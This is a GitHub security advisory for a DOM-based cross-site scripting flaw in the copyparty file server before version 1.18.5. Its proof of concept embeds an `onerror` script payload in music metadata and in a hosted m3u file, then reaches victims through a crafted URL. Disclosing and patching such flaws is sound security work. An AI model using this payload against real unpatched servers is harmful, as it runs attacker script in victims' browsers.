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GHSA-9q4r-x2hj-jmvr

copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata

Source: GitHub Advisory Database (reviewed) Moderate CVE-2025-54423

Packages

EcosystemPackageAffectedFixed in
PyPI copyparty < 1.18.5 1.18.5

Details

As written in the advisory (Markdown source, shown as plain text).

### Summary An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including `m3u` files. ### Details Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways: * a user which has the necessary permission for uploading files can upload a song with an artist-name such as `<img src=x onerror=alert(document.domain)>` * an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file The CVE score and PoC is based on the m3u approach, which results in a higher severity. ### PoC 1. Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server. ```m3u #EXTM3U #EXTINF:1,"><img src=x onerror=alert(document.domain)> - "><img src=x onerror=alert(document.domain)> http://example.com/audio.mp3 ``` 2. Craft and share the malicious URL: ``` http://127.0.0.1:3923/#m3u=https://example.com/song.m3u ``` ### Impact Any user that accesses this malicious URL is impacted.

References

External links from the advisory. They lead to third-party sites.